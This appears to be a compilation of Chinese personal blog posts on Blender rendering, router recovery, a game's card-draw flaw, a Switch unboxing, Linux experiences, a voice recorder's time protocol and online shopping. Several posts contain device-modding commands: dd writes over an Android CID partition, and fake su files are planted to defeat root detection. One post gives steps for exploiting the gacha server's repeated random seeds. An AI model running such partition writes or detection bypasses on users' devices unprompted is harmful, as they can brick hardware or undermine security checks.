如果使用 Blender Render,则需要在 Sun 的属性里设置 Sky & Atmosphere 并设置 Ray Shadow 以使光源和阴影正确对应。

如果使用 Cycles Render,则在 World 属性中设置 background 为 Sky Texture。

当然也可以使用自己的天空图像或其他材质。

渲染

在渲染属性中设置使用 CPU 或者 GPU 渲染图像,并可以设置分辨率等。

修改好设置,在 Blender 上方菜单栏中点击 Render -> Render Image 即可开始渲染啦~

玩家和实体

我相信熟练使用 C4D/Maya/Blender 的玩家们不需要看这篇教程… 所以玩家实体的高级用法不多讲。

需要的材料是一份玩家或者其他实体的 Rig,在 PlanetMinecraft 或者 MinecraftForum 上有很多。贴上皮肤就可以用啦。

在 player rig 中调整好 pose,保存。在要渲染的世界工程里,选择 File -> Append,然后选择刚才的玩家 pose 的 blender 文件,进入后选择 Scene 并 append。

选择 Scene 的原因是有不少 rig 并不是一个单一 object,如果是单一 object,则可以直接导入 object。

在右上方的 object 列表中选择刚才 append 的 scene,定位玩家实体并全部选中 -> Ctrl+C 复制 -> 返回渲染世界 -> Ctrl+V 粘贴。

选择粘贴进来的玩家实体,然后调整到合适的位置。

成果

这大概是我第一次玩 blender。

总之以下是成果啦。

比如某玩家的 pose 效果图:

比 chunky 的动作自然多了吧~

最后是完成的效果:

Happy Rendering~

Phoenix Nemo's avatar

不作死就不会死系列,TFTP 修复变砖的 Nighthawk X6

由于之前买的 AC87U 经常被 roommate 抱怨掉线(风评表示这货 5G 有问题,然而我连着 5G 毛事儿没有,隔壁用 2.4G 却一直掉线)…

新购入的路由器是 Netgear Nighthawk X6 R8000。

由于之前的 Security Advisory,所以到手第一件事就是配上网络更新固件啦。更新挺慢的于是点点点完事儿撸猫去了。过了一会儿回来一看怎么还没网络?得,砖了…

讲道理,Netgear 也算大厂了,这种 online update 干了不知道多少回,第一次遇到这都能变砖的(扶额。

现象就是电源橙色灯亮后一会儿变成白色灯闪烁,且网络服务没有启动。尝试过 factory reset 无效,官方提供的 TFTP 强刷工具也无效(刷不进…

解决方案反而是意想不到的简单。总之大概记录下修复的过程。

  1. 官方网站下载适用的新版固件并解压,应该得到一个 .chk 文件
  2. 关闭路由器电源等待 10 秒,网线插 LAN 口开机。
  3. 检查是否获得了正确的 IP。如果没有,可能 DHCP 服务没起来。手动设置一个正确的 IP 吧。然后能 ping 通路由器 IP 即可。
  4. 电源灯开始闪烁的时候,执行命令 tftp -i [router ip] put [path/to/firmware.chk]。例如 tftp -i 192.168.1.1 put ./R8000-V1.0.3.36_1.1.25.chk
  5. 等一会儿路由器自动重启,搞定。

配置都没丢…然后我依旧没有搞定 OCN 要怎么连 IPv6… 说好的 IPv6 PPPoE 呢…

Kouga's avatar

Kirara Fantasia 手游初始卡抽取

今天忒无聊的在玩Kirara初始抽卡喵~(才不是想要个五星青叶双簧开局喵……),结果发现 Kirara 这系统设计的……嗯……相当(无法形容的混沌)糟糕喵……

第一天刚开服的早上,我首抽就抽了三个八神光(同一张卡),感觉咱不应该那么非洲吧……然后服务器就维护了喵…… 第一天晚上,服务器再开那半小时里,再次首抽,这次是由纪和珠辉,于是……服务器再次维护了…… 直到15日服务器再开,终于顺利在各种网络BUG情况下继续玩下去了喵……

今天终于忍不住,开了模拟器6开开始测试,结果让人大跌眼镜,简直是来玩“连连看”的喵……

服务端有卡池抽取队列,但是不知道哪个脑抽的程序或者运维,搞了2N个 一摸一样 的队列!也就是启动随机数种子和序列完全一致……这下好了……只要你客户端同步请求抽取,在负载均衡网关的指引下……两个客户端可以拿到 几乎一摸一样 的卡片序列喵……

这大概还和数值设计脱不了干系,总之因为新手引导关卡需要让大家轻松的打掉那5只小怪,数值设计对首抽的卡有四星保底存在……

好……这下就变成了你每次首抽,都是同时抽取了主卡池(大量三星卡)和保底卡池(四、五星)的卡片序列,由于之前那个脑抽的复制随机数队列和负载均衡存在……嗯……同时抽取的客户端可以抽到完全相同的卡……就出现了喵……

只要在刷首抽人少的时候,你完全可以做到“预测卡池”了喵……因为……有一样的存在喵……

另外一个更脑抽的是……这货的随机数种子……嗯……几乎可以肯定和时间戳有关系喵……两天清晨同一个时刻首抽,嗯……一模一样的两张千矢……

好了,要刷首抽,只需要这样做了:

  1. 看SNS上谁发了某时刻抽到了谁和谁的双黄/三黄卡牌;
  2. 第二天同一时刻前后,准备偶数个客户端多开,开始同步持续刷卡池;
  3. 一旦看到想要的卡出现了一次,但是不在一个客户端,别慌,立即将客户端切掉成质数,再刷一波;
  4. 此时你就很容易得到你想要的双黄开局了喵……;

对了……今天下午(2017年12月17日14:00)维护解决的另外一个BUG……竟然是可以同账号多客户端登录……然后一起刷首抽,最后卡片会累加……(玩不来玩不来喵……)现在这个途径已经被封锁了喵……但是这程序猿水平可见一斑了喵……

补充:晚上睡了一觉醒来(2310),刷了10分钟,成功开出 4个五星开局的号喵~

h404bi's avatar

Nintendo Switch 开箱与简评

恭喜任家的 Switch 销量突破千万!在任天堂宣布 Switch 历时九个月全球销量突破 1000 万的双十二当天,我咬咬牙,也成了千万分之一员。友人说我充值了信仰,其实我大概也不是 Nintendo 的热衷粉丝,不然估计早早就收入囊中。只是今年 NS 确实是够火热,这不其独占的《塞尔达传说:荒野之息》才拿下了 TGA 年度最佳游戏。

而我又对其中的数款独占游戏颇有想游玩一番的意思。于是便拿着“根据游戏选平台”的思路,入手了人生的第二台掌上游戏机(第一台?GameBoy,也是老任家的,巧了)。继而写下这么一个记录与分(shai)享(dan),来一份多图的常规开箱,再附一个简单的短评。

“There are many unboxing and review articles, but this is mine.”

本图来源于网络


开箱

购于某宝,顺丰同城次日达,双十二也没便宜多少。拿到后其实先开了看了几遍,后又封了箱,下班回家才仔细研究了下,所以算是个伪开箱。

收到的快递箱子比预想中的要大一些,两掌长,掌半宽高。预计实物也会比预想大一点。

买的是标准的红蓝手柄款,预期先入手一款游戏,配了《超级马里奥:奥德赛》。配机买一个游戏的话,估计不少人会在绿帽子塞尔达与红帽子马里奥之间选一个吧。既然塞尔达能拿下 TGA 年度最佳游戏,说明还是更热门一筹的。但我似乎没还玩过塞尔达系列的其它游戏(听过但真的没玩过),便选了更为熟悉的“8-4关”红帽子。除外则是店家送的赠品。

图集:

盒子正面

盒子背面

盒子侧面

盒子前面说明

都有些什么基本上是一目了然了。

盒子后面说明

没有国行,我买的是港版。Switch 没有锁区,数字版游戏可以随意切换区域购买,所以选哪个版本大概是看个人喜好了。

打开上盖后,盒内正前方还有醒目的说明提示,有点意思。第一层就是两个有多种使用方法的 Joy-Con 手柄与掌机本体。

底层是配件、保修证及说明书

盒子为各种配件做了刚好适配的槽位,给人一种包装扎实的感觉。

港版保修证及英文说明书

拿开包装。最原始的样子,两个手柄与主机分离。(刚收到打开把玩时先贴了店家送的硬贴膜)

主机背面

背面正中央大 LOGO,下方左右两个扬声器,左侧是支架,打开可以立起主机,里面藏有 SD 卡槽,可用于存储扩展。(有看到 MADE IN CHINA 字样嘛 :D)

立起来的样子

感觉背后的支架打开还是有一点虚呀,估计用久了就会松动。

顶部右侧 GAME CARD

主机顶部右侧是卡带插槽、耳机插孔及散热孔,左侧是电源开关与音量调节按钮。

主机底部,Type-C 快充

两个 Joy-Con 手柄

手柄颜色上,红蓝款是标准款,除此外还有全黑的、奥德赛捆绑的全红、DIY 全蓝的等等。摘下来拿在手上的握感很不错。对比常见的手柄的话,醒目的是在下方左手有一个截图键,右手则有一个 HOME 键。按下一些按键时侧边会有跑马灯提示,手柄的几种使用模式下都会有这个提示。

配件:充电器、HDMI 数据线、拓展坞底座、手柄握把以及手柄手绳。

突然想起《Plug & Play》游戏...

港版的充电器是欧标的插头,需要转接,用过港版电子产品的应该都不会陌生,如港版 Macbook 也这样。

Nitendo HDMI

底座正面,左下角提示灯

这底座还挺沉的……

底座侧面

侧面有两个 USB 接口,唔还没想到外接什么用途。

底座背面

可打开后盖

底座背部接口

背部有三个接口,分别是一个 Type-C 电源接口,一个 USB3.0 以及一个 HDMI 输出。

底座中部

中部一个 Type-C 接口,对应主机底部的口。哈哈,像一个表情……

组装起来静放

据网上的其他评测与玩家体验,说底座的设计有些拙计,放入主机时容易磨花屏幕,不利于散热等等。于是衍生出 Type-C 延长线用法,各种第三方的底座等。感觉掌机的话,还是拿在手里的时间更多些吧,当然家里有大电视可能不一样……

组装手柄握把

手柄握把背面

组装起来后成功变成一个“常规的手柄”,受限于本身的两个 Joy-Con 手柄,造型上有点奇怪。似乎短小了一些,握起来手大的话可能感觉会缺点什么,但我感觉还行。

手柄手绳模式

两个手柄配两个手绳。手绳是没有左右之分的,可以将任意一个手绳用在左手柄或者右手柄上。

手绳模式下的提示灯

手绳 LOCK 开关

需要注意的是,手绳的底部有一个防滑出锁定开关,除了按住手柄背部的释放按钮外,还要先打开开关才能拆下手绳。我第一次操作时没看到,差点就暴力乱来了……

开机看看

运行后,从散热口出来的热风,会带着一股不知道怎么解释的味道。“新电子产品的硬件味道?”,这也太浓了吧……虽然有点奇怪,但感觉有点沉迷无法自拔……


Switch 本体部分看完了,接下来是游戏。

《超级马里奥:奥德赛》正背两面

背部外层贴纸的香港总代说明

普通版打开里面就是一个卡带了,没有什么其它东西。

卡带,Odyssey, ya see!

金手指

好像真有人舔金手指,然后说苦的,哈哈哈……咱们还是别了。

卡带上机

除了实体卡带版本外,还能在 Nintendo 的 eShop 上购买数字版的游戏。不过实体卡带版本大概会更多人选择,因为除了有实物感外,玩通了还可以二转手。但有一些游戏像 Minecraft 的 Switch 版,只有数字版没有出实体卡带版,就只能在 eShop 上购买下载了。

开机联网就要升级系统..

作为掌机,整机的大小比起我预期是大了一些,但还能接受,外出带上的话是会有一点点难受。

好了,开箱大概就是这样。


奥德赛的抓拍截图

关于简评:

纯用来玩游戏的游戏机,到入手 Switch 这个阶段,我只真正拥有过 3 款。第一个是小时候的《小霸王学习机》,说是学习机,当然是用来学习玩游戏啦。长大后才知道是山寨 FC 的,那是童年,也就那样吧。第二个则是本文开头说的 GameBoy,最初用的是“砖头机”,后面换了个透明壳的,电池用了不少。那时有《口袋妖怪》、《牧场物语》、《洛克人》等游戏玩,真的是太棒了。然后就是 Switch 了。当然期间多少有接触下 PS1、PSV 等产品,不过那都是“接触”过。

本图来源于网络

这次之所以选择 Switch,有两个原因。

其一是,在这个平台上,有数款我想玩的游戏,这也是主要原因。除了最想玩的奥德赛与塞尔达外,喷射战士2、ARMS 等游戏也在愿望单中。有人问我 PS4 和 NS 或者其它游戏机哪个好?我通常都会反问一下“在这些平台中,哪个平台上有的游戏是你比较想玩又是独占的?哪个平台上有更多这样的游戏?”回答出来了,结果也就有了。“根据游戏选平台” 是我觉得很重要的一个观点。

其二是 Switch 给我的感觉。Switch 这个词本身就是“交换、切换”的意思。家里大电视、外出、朋友家里等多种模式的无缝切换,内置的截图功能与社交分享,双手柄可拆卸分享游戏的设计,以及卡带的交换(当然这里不指那些所谓的会员服务交换卡带的商业行为)等等。这大概是它的一个概念吧——“随时随地的游戏与分享”。当然手机游戏盛行的当下,第二点都有,这就回到了第一点上了。

最后,如果有想加我 Switch 好友,可以通过 Friend Code: SW-2151-0400-3751 找到我。

's avatar

我再也不瞎逼逼了(

天呐,在 2017 年,我以前的各种「不喜欢」被全部推翻了。它们被推翻的一个重要因素,就是我亲身体验了它们

而我那些所谓「不喜欢」的产生真是太廉价了:听了网络社区的风言风语、自家电脑配置太差、没有全面了解、最后一次接触是很久以前……

还有一个是我的狂妄自大,明明周围人都在用的东西,我却不用,继续用那些其实很难用的应用,却觉得它很高大上,他们用的都是什么东西啊。换句话说就是「装逼」。

我终于明白,一个事物的长期存在,自然有它的道理。我不应该单单依靠我不全面的想法来评价东西。

在此,我也想为所有因此被我得罪过的人表示深深的歉意,虽然很多不好的事情已经无法挽回了……

's avatar

恐怖的电脑警告

切换正常显示

如果你在使用 RSS 阅读器,可能无法正常看到这个特效。请查看原文了解详情。
如果你在使用 RSS 阅读器,可能无法正常看到这个特效。请查看原文了解详情。
's avatar

我与 Linux

貌似很多人都是一上来就学习使用桌面版 GNU/Linux 发行版(下面简称 Linux),但我的过程嘛……

Android

小时候的我也认为,世界上只有 Windows 这种桌面操作系统。

2012 年,我拥有了摩托罗拉 xt910。我想给我的 xt910 刷 MIUI V4,但我的 xt910 是国行的,使用国行底包直接刷进去会出现发热的问题。

相信给摩托罗拉手机刷过机的机油都知道,摩托罗拉有一种东西叫 BL 锁,而 xt910 还锁区,所以国行 xt910 用户正常情况下不能刷欧版或港版 xt910 的底包。有一种不完美的绕过限制的方法就是「清除 18 区」,需要用「终端模拟器」执行几个命令,然后刷 MIUI 和启动工具,用第三方的 2nd-init 启动使用欧版底包的 MIUI V4:

su
dd if=/dev/block/cid of=/sdcard/cid-backup.bin
dd if=/sdcard/cid-go.bin of=/dev/block/cid

那时的我超级爱折腾,反复执行这套命令多次,觉得每次都要输入 /sdcard 很繁琐,就开始反复求助度娘,了解如何切换到指定目录、如何列举目录……后来我发现「终端模拟器」实在太有用处了,进而知道使用 adb shell 可以在电脑访问到一样的终端。Android 的命令行,成了我当时最常使用的「Linux」。

当时我还用批处理调用 adb shell 和 fastboot,搞了个「国行 213 root 工具」,就是用 fastboot 刷入国行 145 固件的内核,再通过 adb root,最后刷入国行 213 固件的内核,把以前需要手工完成的步骤自动化了。我把它以 xt910 吧吧主名义发布到贴吧上,颇有成就感。

然而 Android 虽然基于 Linux 内核,但它毕竟跟真正的桌面版 Linux 发行版没法比啊。恰逢 2013 年我家采购电脑,一家三口都有了自己的电脑,我都有了自己的台式机,原来我家的旧台式机就被淘汰了。我就在我家的旧台式机上安装了 Ubuntu 13.04,开始尝试输入百度等地方搜到的各种命令。新鲜劲过后我绝望的发现,「真正的」Linux 一点也不好用(其实是我把它当成了一个不太好用的 Windows),要啥没啥,连 QQ 都是很久以前的。不久以后,我爸又把旧台式机搬走了。

至于我的 xt910,它已经过时了,再怎么刷机,也无法拯救它的衰老。后来我有了 Galaxy S5,xt910 就被我扔在抽屉里。因为 Galaxy S5 很好用(一直到今年夏天被淘汰),刷机也很方便,不再需要碰那些命令,Linux 什么的也被我抛到脑后。

CentOS

2014 年底,一次很偶然的机会,我认识了 佳佳酱,进而认识了一群有趣的人。我从他们那里知道了有种东西叫 Node.js,还有种博客系统叫 Ghost。当时的 Ghost 深深打动了我,但是传统的 PHP 虚拟主机是没法运行 Ghost 这样的 Node.js 应用程序的,于是我开始了解 VPS 这种神奇的东西,开始折腾圈子里很多人喜欢的 CentOS 6.5、LNMP 一键包之类的东西。我知道了 Linux 的磁盘挂载、权限控制、包管理器的使用等等知识,还有各种折腾 CentOS 的奇怪技巧(比如如何编译安装各种本来 Debian 和 Ubuntu 就有足够新的版本的软件)。不久以后,我把自己的博客真的 迁移到了 Ghost

中间换过几次 VPS,我也渐渐发现 CentOS 的局限性:虽然官方包管理器的软件应该可以保证稳定,但是太老了,安装新软件不是加软件源就是编译安装。又因为它其它一些不好用的地方,后来我彻底放弃了这个发行版,改用 Ubuntu,用 apt 部署所有我需要的服务器软件。

Debian & Gnome

后来我觉得 Windows 10 太闷了,加上当时 RAM 不够,我决定:再次尝试迁移到 Linux!

与第一次安装 Ubuntu 相比,我这次有了迁移的信心:

  • Chrome
  • Telegram
  • Node.js 与 git,它们对 *nix 本身就更友好
  • QQ Web 版
  • LibreOffice
  • ……

我安装的是 Debian jessie + Gnome;我没有删除硬盘上的 Windows 10,因为我担心可能还有 Windows 限定的情形,但是并没有。这经历也为我后来迁移到 macOS 奠定了基础。

我就这样开心的折腾了很久,把 Debian 搞得很符合自己心意。代价就是我在折腾 Linux 上浪费了更多的时间。

2017 年,我把我家台式机的 RAM 增加到 16 GB,安装了 64 位 Windows 10,发现体验太好了,再加上 Windows Subsystem Linux 也可以用了,我后来把 Debian 格掉了。

macOS

虽然 macOS 并不属于 Linux 家族,但我还是要提一下。

macOS 给我的第一印象就是省心。我不再需要向以前那样折腾,我拥有的是一个开箱即用的、美观易用的、UNIX 核心的桌面操作系统。而且,它拥有更大的生态圈。

即使需要我使用命令行干预系统,我也可以用我学会的 Linux 知识轻松搞定,因为 Linux 本来就属于 *nix 家族啊。


这就是我与 Linux 的黑历史了。这篇文章不是说明什么道理,只是跟大家分享一下我的经历。

顺便分享过气歌曲:

ホロ's avatar

X230 + Coreboot + me_cleaner + ...... = ?

为 ThinkPad X230 刷 Coreboot (

mmiaow's avatar

Day 10657 自在观喵——文本文件监视器

一款为了在指定的文本文件中搜索特定关键字的Single-Purpose自制工具。

功能单一,替代品也很多,欢迎反馈bug,不接受『还有个别的工具比你这个好多了』的评价,这个我知道。

功能说明:

1、支持ANSI或Unicode文本文件(不支持自动判断编码)

2、在『采样间隔』后,按照指定的扫描起点,在文件中按行搜索特定的关键字。

3、支持双关键字查找,即:扫描的行中必须同时具有指定的2个关键字才进行提示。

下载地址:点击此处下载

依云's avatar

在 Linux 下设置录音笔的时间

本文来自依云's Blog,转载请注明。

咱买了一个录音笔,效果比使用笔记本话筒录音好多了还省电。当然啦,我也曾试过使用手机录音,结果是,没能录多久就中断了(Android 就是这么不靠谱)。

我的录音需要记录较为准确的时间信息。录音笔怎么知道现在是什么时间呢?还好它没有跟风,用不着联网!

它带了一个小程序,叫「录音笔专用时间同步工具」(英文叫「SetUDiskTime」,可以搜到的)。是一个 EXE 文件,以及一个 DLL 文件。功能很棒,没有广告,没有推荐,也不需要注册什么乱七八糟的账户,甚至都不需要打开浏览器访问人家官网。就弹一个框,显示当前时间,确定一下就设置好时间了。这年头,这么单纯的 Windows 软件还真是难得呢。

然而,它不支持我用的 Linux 啊。虽然我努力地保证这录音笔一直有电,但是时间还是丢失了几次,它的FAT文件系统也脏了几次。每次我都得开 WinXP 虚拟机来设置时间,好麻烦。

Wine 是不行的,硬件相关的东西基本上没戏。拿 Procmon 跟踪了一下,也没什么复杂的操作,主要部分就几个 DeviceIoControl 调用,但是看不到调用参数。试了试 IDA,基本看不懂……不过倒是能知道,它通过 IOCTL_SCSI_PASSTHROUGH 直接给设备发送了 SCSI 命令。

既然跟踪不到,试试抓 USB 的包好了。本来想用 Wireshark 的,但是 WinXP 版的 Wireshark 看来不支持。又尝试了设备分配给 VBox 然后在 Linux 上抓包,结果 permission denied……我是 root 啊都被 deny 了……

那么,还是在 Windows 上抓包吧。有一个软件叫 USBPcap,下载安装最新版,结果遇到 bug。那试试旧版本吧。官网没给出旧版本的下载地址,不过看到下载链接带上了版本号,这就好办了。去 commit log 里找到旧的版本号替换进去,https://dl.bintray.com/desowin/USBPcap/USBPcapSetup-1.0.0.7.exe,就好了~

抓好包,取到 Linux 下扔给 Wireshark 解读。挺小的呢,不到50个包,大部分还都是重复的。很快就定位到关键位置了:

一个 0xcc 命令发过去,设备回复「ACTIONSUSBD」,大概是让设备做好准备。然后一个 0xb0 命令,带上7字节数据发过去,时间就设置好了。简单明了,不像那些小米空气净化器之类的所谓「物联网」,通讯加密起来不让人好好使用。

那么,这7字节是怎么传递时间数据的呢?我首先检查了UNIX时间戳,对不上。后来发送这个字串看上去挺像YYYYMMDDHHMMSS格式的,只是明显不是当时的时间。啊,它是十六进制的嘛!心算了几个,符合!再拿出我的 Python 牌计算器,确定年份是小端序的16位整数。

好了,协议细节都弄清楚了,接下来是实现。我原以为我得写个 C 程序,调几个 ioctl 的,后来网友说有个 sg3_utils 包。甚好,直接拿来用 Python 调,省得研究那几个 ioctl 要怎么写。

#!/usr/bin/env python3

import os
import sys
import struct
import subprocess
import datetime

def set_time(dev):
  cmd = ['sg_raw', '-s', '7', dev, 'b0', '00', '00', '00', '00', '00',
         '00', '07', '00', '00', '00', '00']
  p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
  dt = datetime.datetime.now()
  data = struct.pack('<HBBBBB', dt.year, dt.month, dt.day,
                     dt.hour, dt.minute, dt.second)
  _, stderr = p.communicate(data)
  ret = p.wait()
  if ret != 0:
    raise subprocess.CalledProcessError(ret, cmd, stderr=stderr)

def actionsusbd(dev):
  cmd = ['sg_raw', '-r', '11', dev, 'cc', '00', '00', '00', '00', '00',
         '00', '0b', '00', '00', '00', '00']
  subprocess.run(cmd, check=True, stderr=subprocess.PIPE)

def main():
  if len(sys.argv) != 2:
    sys.exit('usage: setudisktime DEV')

  dev = sys.argv[1]
  if not os.access(dev, os.R_OK | os.W_OK):
    sys.exit(f'insufficient permission for {dev}')

  actionsusbd(dev)
  set_time(dev)

if __name__ == '__main__':
  main()
mmiaow's avatar

Day 10656 关于Secure Settings不能识别已root系统的解决方法

Secure Settings是一款配合其它软件(如Tasker等)实现对Android设备进行超多控制的应用(Play页面)。

最近将手机升级到Android 7.0,经过好大一通折腾,终于将设备root掉,但通过钛备份恢复的Secure Settings总是会报『由于没有root权限,一些特定的操作无法进行』,这里是指我设置的Tasker任务,每天晚上23点之后自动将手机设置为飞行模式。

经过搜索,得知由于Secure Settings检测root的方法是去搜索/system/bin/su是否存在,而应用本身已长年未更新(上次更新为2015年1月),现在以SuperSU进行root的设备采取的是『systemless』的方式,即不会在/system/(x)bin下写入su的binary,导致其误以为系统没有root。

解决方法如下:

1、打开设备的USB调试模式

2、使用adb连接设备执行操作:

adb shell

su

mount -o remount,rw /system

touch /sbin/su /system/bin/su /system/xbin/su

mount -o remount,ro /system

exit

reboot

3、设备重启完成后,Secure Settings的误判问题即可解决,此后如果有SuperSU的授权提示,进行授权即可。

注:如在mount步骤中报错『Device or resource is busy』等,可将第二个参数修改为『rw,remount』及『ro,remount』。

参考资料:

1、https://dammit.nl/20160406-how-to-fix-secure-settings-on-android-devices-with-supersu-systemless-root.html

2、https://forum.xda-developers.com/pixel-c/help/device-resource-busy-t3449240

火村-LMDM387's avatar

Audacious超棒的

最近闲的无效又装上了manjaro-dde,发现了dde-music的随机播放有点问题(随机了一个列表后列表播放,不会自动刷新随机列表)


终于决定换个音乐播放器了(本地),Audacious的简约风格界面感觉刚刚好


Audacious,就决定是你了!

使出“乱序播放”!



LOFTER:火村-LMDM387   http://lmdm387.lofter.com/post/3f2222_11cbf81a
HY's avatar

PlayStation 4

感觉好久都没写Blog了,于是随便写点东西吧_(:3」∠)_ 之前从朋友那边低价入了一台二手PS4,原本打算主 […]
liwanglin12's avatar

[LWL的自由天空 年度简报] – 云起

2017 年,转瞬而过。
知世故而不世故,处江湖而远江湖。人情冷暖已看透,赤子之心永不丢。

这是自由天空的 2017 年年度简报,你好。

序言

 坐在回家的车上,总算是开始敲起了今年的简报。
 今年 lwl 做的事似乎也不多,挺平淡的一年,以至于这篇简报也险些因为没东西可写跳票了。不过作为对一整年的回溯和记录,当然还是不能随意弃坑啦。(有种在写 LWL Networks 企业年报的感觉,大雾)

一些数据

 按照惯例,先来看看自由天空今年(报告期 2017 年 1 月 1 日 至 12 月 28 日)的统计数据吧。

  • 总访问量 99,792 次,同比增长 74.20%
  • 独立访客 24,498 位,同比增长 68.73%
  • 有效新文章数 2 篇 (咸鱼如我
  • 博客总评论 3,290 条

 感谢所有读者能在 17 年与我相伴,也期待在未来我们能一起前行!

一群人

 也许是由于日益增大的压力,今年我并未过多的扩展社交圈子。不过,仍有好多好多小伙伴在今年与我相识。kn007、milkice、ZeroClover、neoFelhz、GuoGuo、LetITFly、芸枫、NeverBehave、MDHD、小黄蜂、Eana Hufwe、Anankke、滕灰灰、Kugelblitz、PeaShooter、鹌鹑蛋君、mokeyjay、静静、jq(x10)、Elepo(x5)ver、Indexyz、duang suse、DCC、kotomei、Mirro Chou、CubeSky ... 谢谢你们能与我共度一次次风云,一段段时光。

 同时,我要感谢在本年度中相随的几群人。他们是 LWL Networks(电报群组 - LWL 的众议院)、Ph Craft 以及两个不便透露的社群。

 说到社交圈,也许在后年,这里的内容会有一次巨大的变更。我很期待,不过现在就不去想啦!

几件事

电报

 今年我主要活跃在 Telegram 中文圈里。这个圈子今年出的两件大事,或多或少的和我有一些关联。通信录(电报群组)和通知栏(电报频道)相继因为这两件事解散,并由众议院和基地台接替。目前,众议院和基地台都应用了邀请和定时开放制度。其目的是为了保密、提供更好的交流环境(群)以及主动降低影响力(频道)。

 也许你会好奇,为什么要降低影响力呢?通知栏最多的时候有 1.2K 关注者,也算是小有影响力吧。但是过高的影响力,会给我和周围的人带来风险,而且更重要的是,它是一把双刃剑。通知栏的关注者提升最快的几次,可以说都是对热点事件跟风产生的。通知栏创立的本意,并非是去做一些煽风点火的事。但是最终,在某次事件里,这种影响力终于是闯祸了。对于基地台,也许只有在我觉得我有能力控制其内容,并且这些内容无法再对我造成网络或是现实中影响的时候,才会重新开放了。

 关于群组,通讯录的做法也是绝对的开放,甚至希望越多人加入越好。在我当时的想法里,这样就能有很多很多的人来互相交流讨论,谈天说地(也就能有一个像网红 DIYgod 那样活跃的女装群啦)。但是事与愿违,开放的群并没有多少人真正在讨论,反倒有一些恶意成员暗中蛰伏。在众议院,我限制了群成员的加入,但是讨论数量和质量却不降反升。

 说了这么多,也就是我个人的一些想法吧,并不是说要写成什么社群管理金科玉律啊(笑)。也许是我的管理能力还不够格,无法承担太大的组织。不过,现在这样就很好了。

Minecraft

 在几个月前,我和 zariba 重启了我们的 Minecraft 社区。(当时暂时关服的时候在博客也有过文章,不过因为质量太差目前被我撤下了)
 新的周目有了相对完善的设定和管理,但我们仍需更多富有创造力的玩家加入。在上文里,有我们的社区链接,欢迎您的加入。

 除了我们的自有社区,在今年,我个人非常喜欢(甚至可以说是敬仰)的社区 NyaaCat,遭遇了一次停服危机。当时我本来还想写篇文章纪念一下,好在最终在9个女装大佬成为明星后,喵窝还是恢复了正常运行。
 喵窝的各种项目在 Ph Craft 里也有大量的应用。在此感谢喵窝的开发者们。

天上的东西

 在本月,LWL 开始对民航和无线电感兴趣了。兴许明年你就能看到我在这一领域发生的好玩的事情啦!

关于你,我,每一个人

 在这一点里,我并不想说太多。正在阅读这篇文章的你,可能知道,今年发生过不少涉及个人安全的重大事件。在这个时代,个人信息和隐私保护也许是最重要却又最难实现的。无论是何种原因,泄漏他人隐私,恶意人身攻击,都是决不可接受的行为。

 另外,博客在前几周上线了一个功能。这个功能说起来其实挺好笑,因为基本不可能被触发 ——如果你在本博客的搜索框内输入“自杀”等字眼,就能看到一段小提示。
 在本年度,我曾遇到过几个危险的案例。既然有缘能在这里遇见,我希望,如果屏幕前的你在某一刻面临类似的情况,这个小功能可以帮到你吧。

仍是要时时刻刻对美好满怀期待,对未来充满渴望。——《优秀的女孩是没有性生活的》

尾声

 在去年的简报中,我提到过,近几年我也许会很忙。因此在 18 年,博客的更新可能还是会偏少。

 明天要考试的 LWL,此时在屏幕前写出了这篇,可以说是很奇怪的年度简报。
 这篇简报所阐述的内容更像是对事件的总结和记录了,也包含了大量的个人想法与价值观念。我并不常在博客谈论这些内容,更多的是想输出更多技术性的文章。似乎也就只有每年一次的年度简报和 lwl 不定期抽风时候写出来的文章会有这样的内容啦。

 无论如何,感谢你能读到最后。新的一年,让我们继续加油吧!

 凛风起,白云涌。LWL 的自由天空,三周岁,生日快乐。


- EOF -

Jixun Moe's avatar

又学会一招,图片不存在时显示默认图片

使用 object 包裹住 img 对象。

原理应该是当 object 对象加载失败时自动显示里面的内容。

<object data="http://music.163.com/api/song/getpic/520461962?param=130y130" type="image/png">
    <img src="http://s1.music.126.net/style/web2/img/default/default_album.jpg?param=130y130" />
</object>

来源:SO

's avatar

第一次在淘宝购物时的奇妙经历

虽然看起来我是个很依赖电脑和网络的人,但实际上,我很少在网上买东西,连中国网购的鼻祖——淘宝也是从来都没有用过。结果今天,有个朋友跑过来,让我帮他买一个东西,是一套 BD ,本来是日本限定的,所以只能在淘宝上找了代购。我说,“行啊”,于是就用上了之前从来都没有用过的淘宝。

虽然从来没有买过东西,不过我有注册过帐号,支付宝也配置过。比较大的问题就是我没有中国的银行帐号,实名认证费了好大劲,还好淘宝能够支持 Visa 的银行卡支付,而我正好有,所以支付这边除了用银行卡的手续费比较高以外,也没什么问题。

朋友发给我一个淘宝的链接,我点了进去,选定了他想要的种类,然后提交了订单,选择用银行卡支付。淘宝让我填银行卡信息,可是,我之前不是在设定支付宝的时候,已经填过一遍银行卡信息了吗?“嘛……不管它,反正也就是再填几个数字而已,可能是为了安全,在支付的时候再确认一下吧”,我自言自语道。

支付很顺畅。在订单提交完成的网页,出现了一个标着“赢取 500M 流量”的转盘,转盘里面的奖项有标着 500M 流量和其它的一些有关中国移动的手机流量的东西。这些跟不用移动手机的我都没什么关系,我也就抱着好玩的心态,点了一下那个转盘,它的指针停在了—— 500M 流量!好耶,这 500M 流量待会儿送给别人好了……等等!转盘又开始转了,下一次它的指针停在了——谢谢参与。

我当时的心情: 🌚❓ 还带这么忽悠人的?只好带着被耍的心情,打算关闭那个窗口。那个关闭按钮也没闲着,一点它,浏览器就打开了一个借贷网站。这样的广告手法,跟那些不正规的网站一样。

过了一会儿,朋友跟我说,是不是可以跟卖家说一下,改一下收件地址,直接送到他那里呢?我想,这个有道理啊,这样省得绕一圈,还不用我在家等快递,就重新打开网页,试图联系卖家。

从此拉开了一系列有趣事情的帷幕。

为了联系卖家,我重新打开浏览器,找到刚才的订单信息,里面有着明显的大大的“和我联系”按钮,但是比起用旺旺这样的即时通讯方式,我更喜欢发电子邮件来联系陌生人。坏消息是,卖家的邮件地址在网页里面被隐藏了,除了第一个字母 h ,剩下的都变成了星号表示。好消息是,边上有一个“发送站内信”的按钮。点了进去。里面是一个简陋的邮件发送网页,可以填收件人、主题、正文什么的。“还行,”我评价道,“看起来还能用。”

我写好了邮件,按下发送。然后——

🌚❓❓

行吧行吧,服了你。发个站内信还变成 404 找不到页面了。那没办法,只好回到之前的订单详情那里,选择了写着“和我联系”的按钮。

